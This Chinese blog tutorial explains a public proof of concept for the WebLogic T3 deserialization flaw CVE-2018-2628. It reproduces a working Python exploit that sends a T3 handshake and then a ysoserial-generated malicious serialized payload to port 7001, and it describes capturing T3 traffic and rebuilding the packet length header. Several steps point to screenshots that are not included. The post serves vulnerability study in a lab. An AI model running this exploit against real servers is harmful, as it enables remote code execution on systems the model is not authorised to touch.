您好,登錄后才能下訂單哦!
如何從CVE-2018-2628 POC看T3反序列化,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
首先貼出一個大佬的POC:
https://blog.csdn.net/he_and/article/details/97924679
import binascii import socket import time def t3(): hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' host = ('127.0.0.1', 7001) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(15) sock.connect(host) sock.send(hello.encode('utf-8')) time.sleep(1) resp1 = sock.recv(1024) print(resp1) data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000' with open('poc', 'rb') as f: a = binascii.b2a_hex(f.read()).decode('utf-8') print(a) data = data1 + a data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data) sock.send(binascii.a2b_hex(data)) time.sleep(2) sock.send(binascii.a2b_hex(data)) if __name__ == "__main__": t3()
這個POC的第一步,向weblogic的發送t3的握手信息,t3接收到信息之后,回復該握手信息。
那么先嘗試第一步:
著看第二步的構造:
當我將data1中的16進制解碼時發現是亂碼,接著我去看了另一個大佬的文章:
https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/。
然后去靶機上將/Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh,進行修改,在這個腳本對另一個weblogic主機發送stop的請求的時候,會會發送T3的序列化數據,之后使用wireshark抓取該數據。
追蹤兩個IP之間TCP流,并將其進行Hex
熟悉反序列化流量特征的人都知道每一段序列化的數據都是以ac ed 00 05開頭,那就先在流量當中找到第一段序列化數據出現的位置。
這里拋出一個T3數據流結構的概念:
上面的流量是有很多段的反序列數據構成的,weblogic后端會對其進行分段解析
那么根據大佬們提供的說明POC的構造方式1:
替換aced開頭的后面幾個序列化數據中的任意一個
POC構造方式2
直接將包含數據包長度的第一部分和惡意序列化數據進行拼接(也就是用一個惡意序列化數據替換掉常規包中所有aced開頭的序列化數據)
為了避免麻煩,直接采用第二種方式
這里先把第一段的非Java序列化數據給截取下來,最后整理得到的數據是這樣的
此時回頭再看一眼POC的后半段代碼:
data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000' with open('poc', 'rb') as f: a = binascii.b2a_hex(f.read()).decode('utf-8') print(a) data = data1 + a data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data) sock.send(binascii.a2b_hex(data)) time.sleep(2) sock.send(binascii.a2b_hex(data)) if __name__ == "__main__": t3()
在這里直接使用ysoserial.jar生成一段新建文件的poc
a = binascii.b2a_hex(f.read()).decode('utf-8')
將其轉化為16進制的字符串表示
data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
這里對其字符串的字節長度進行求值,左補0方式求出本次發送數據包的長度(8位16進制),并將其作為作為數據包的開頭。
那么上面整理的TXT就出現了一些問題,出在了前四個字節上面,因為事前我們并不知道我們的字節有多少,需要重新進行計算。
所以箭頭所指的地方是需要重新計算得到值的。
將構造好的POC代碼對靶機進行一次攻擊:
查看是否新建了文件:
到這里POC就已經分析完了。
看完上述內容,你們掌握如何從CVE-2018-2628 POC看T3反序列化的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。